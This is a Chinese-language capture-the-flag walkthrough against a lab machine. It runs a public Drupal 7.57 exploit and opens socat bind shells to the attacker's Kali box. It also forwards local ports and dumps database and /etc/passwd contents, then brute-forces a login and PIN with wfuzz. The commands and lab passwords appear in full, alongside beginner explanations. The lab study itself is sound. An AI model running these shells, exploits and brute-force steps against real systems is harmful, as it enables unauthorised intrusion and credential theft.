21端口的信息用完了,再研究下8000端口。
访问192.168.92.3:8000
是一个登录网站,网站内容透露username是pinkadmin。根据之前nmap的结果,发现了一些网站路径。
其中,changelog.txt文件是一个(软件)更新日志文件。
访问192.168.92.3:8000/CHANGELOG.txt
可以发现,Drupal(CMS)的版本是7.57。CMS可以理解为网站模板。
(1)使用searchsploit
命令直接查找Drupal 7.57
的漏洞。
注:
searchsploit
是一个用于Exploit-DB的命令行搜索工具,Kali Linux中保存了一个该漏洞库的拷贝,可以帮助我们查找渗透模块。
(2)下载脚本
/usr/share/exploitdb/exploit/php/webapps/44449.rb
运行ruby程序,需要安装highline。
(3)安装highline
因为是要安装ruby的包(highline),所以需要用到ruby的包管理器gem
,就相当于下载python安装包时需要使用pip
一样。
payload:ruby 44449.rb http://192.168.92.3:8000
拿到shell!
获取flag2。
使用ls -al
查看该目录下所有文件及其属性。
关于文件属性,以下面两个文件的文件属性为例:
-rw-r--r-- 1 root root 28 Aug 14 18:01 flag2.txt
drwxr-xr-x 4 www-data www-data 4096 Feb 21 2018 sites
d
和-
,分别表示目录文件和普通文件。rwx
分别表示可读(read)可写(write)可执行(execute)。drwxr-xr-x
可划分为d|rwx|r-x|r-x
,分别代表文件类型、文件所有者权限、用户组权限和其他用户权限。www-data www-data
,第一个www-data
代表文件所有者,第二个www-data
代表文件所有者所属的组。www-data
对该文件具有读写执行的权限,属于www-data
这个组的成员对该文件具有读和执行的权限,而其他用户只有执行的权限。尝试进入目录,失败。
socat是nc(瑞士军刀)的一个变种,基本命令如下:
socat [参数] <地址1> <地址2>
简单来说,socat所做的事就是:把左边地址的输出数据传给右边,同时又把右边输出的数据传到左边。具体请参考:新版瑞士军刀:socat
因为靶机的防火墙规则使得靶机不能主动建立TCP连接,所以我们使用socat建立正向shell,下面是相关命令:
socat TCP-LISTEN:1111,reuseaddr,fork EXEC:bash,pty,stdeer,setsid,sigint,sane // 靶机
socat file:`tty`,raw,echo=0 tcp:192.168.92.3:1111 // kali
翻遍目录,发现 var/www/html/sites/default/settings
里面好像有东西,得到数据库名、用户名和密码。
mysql -u dpink -p // 连接数据库
drupink
show databases; // 查看数据库名
use drupal; // 打开数据库
show tables; // 显示数据表
select * from users; // 查询
select name,pass from users;
似乎无法解密。
netstat -a // -a:显示所有链接和监听端口
关于Local Address的解释:
既然本机开放了80端口和65334端口,但是只允许本机访问,那么我们需要使用socat进行端口转发,使得外部设备能够访问80端口和65334端口上的服务。
命令如下:
socat tcp-listen:8888,fork tcp:127.0.0.1:80 & //靶机
上述命令的大概意思就是靶机上监听8888端口,将8888端口的流量发送给127.0.0.1:80,实现本地转发。
通过nmap -sV 192.168.92.3
获得服务版本的详细信息。
在kali上访问192.168.92.3:7777
,显示数据库正在开发。
在kali上访问192.168.92.3:8888
,发现后台登录页面。简单试了一下,不存在SQL注入,下面进行爆破。
(1)wfuzz简介
Wfuzz是一款为了评估WEB应用而生的模糊测试工具,它基于一个简单的理念,即用给定的Payload去fuzz。它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击。比如:参数、认证、表单、目录/文件、头部等等,这款工具在kali里面自带。
(2)目录遍历
既然7777端口显示数据库正在开发,遍历下目录,看看有没有发现。命令:
wfuzz --sc 200 -w /usr/share/wordlists/dirb/common.txt "http://192.168.92.3:7777/FUZZs.db"
--sc 200
表示显示响应码为200的请求-w <路径>
表示字典路径FUZZ
表示fuzz的部分,就相当于一个变量。加s
纯属是字典中的值没有复数s。.db
是为了跑数据库文件
加s才能将db文件跑出来,也就是说字典很重要,字典里有就能跑出来,没有就跑不出。
访问192.168.92.3:7777/pwds.db
,可以拿到一个密码字典,其中的密码可能是那个GUESS网址的密码。
一共18条密码。
linux下/etc/passwd
是一个文本文件,其中包含了登录linux系统所必须的每个用户的信息,会保存用户名和密码等信息,只是密码不是明文保存,且保存在/etc/shadow
文件中。
以/etc/passwd
中的一行信息为例:
root:x:0:0:root:/root:/bin/bash
/etc/passwd
文件将每个用户的详细信息写为一行,其中包含七个字段,每个字段之间用冒号:
分隔:
字段 | 含义 |
---|---|
用户名 | 用户登录密码时使用的用户名 |
密码 | 密码,x 表示用户设有密码,但是密码保存在/etc/shadow |
UID | 用户ID,用于识别用户权限(超级用户、系统用户、普通用户) |
GID | 用户初始值组ID |
描述性信息 | 描述 |
主目录 | 用户的主目录,例如:root主目录为/root ,普通用户kali的主目录为/home/kali |
默认shell | linux系统默认使用/bin/bash ,还有其他命令解释器,如/bin/zsh |
查看cat /etc/passwd
发现如下关键用户名:
root、pinky、pinksec、pinksecmanagement
,再加上访问8000端口时提示pinkadmin
,一共5个用户名。
(1)用户名和密码的破解
因为5*18*10^5 =9*10^6,计算量巨大。因此,首先固定pin值进行爆破。将用户名和密码分别保存在user.txt
和passwd.txt
中,使用wfuzz
进行爆破,命令如下:
wfuzz -w user.txt -w passwd.txt -d "user=FUZZ&pass=FUZ2Z&pin=12345" http://192.168.208.138:2222/login.php
-d
代表使用post数据。
返回值不一样,得到用户名和密码。
(2)pin破解
使用crunch
生成5位数字,命令如下:
crunch 5 5 1234567890 > pin.txt
wfuzz --hh 41,45 -w pin.txt -d "user=pinkadmin&pass=AaPinkSecaAdmin4467&pin=FUZZ" http://192.168.92.3:8888/login.php
--hh
:过滤chars值为41和45的响应。
pin值为23081。
登录去咯~,登录后发现有一个可执行窗口。
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp-listen:3333,bind=0.0.0.0,reuseaddr,fork // 靶机,网页
socat file:`tty`(不是单引号),raw,echo=0 tcp:192.168.92.3:3333 // kali
注意:反弹shell和正向shel的区别(个人理解)
- 正向shell是在靶机上新建了一个窗口,然后kali去连接该shell;
- 反弹shell是靶机上存在一个shell,将其反弹给kali。
将正向shell的命令使用到网页上,kali上无法拿到shell。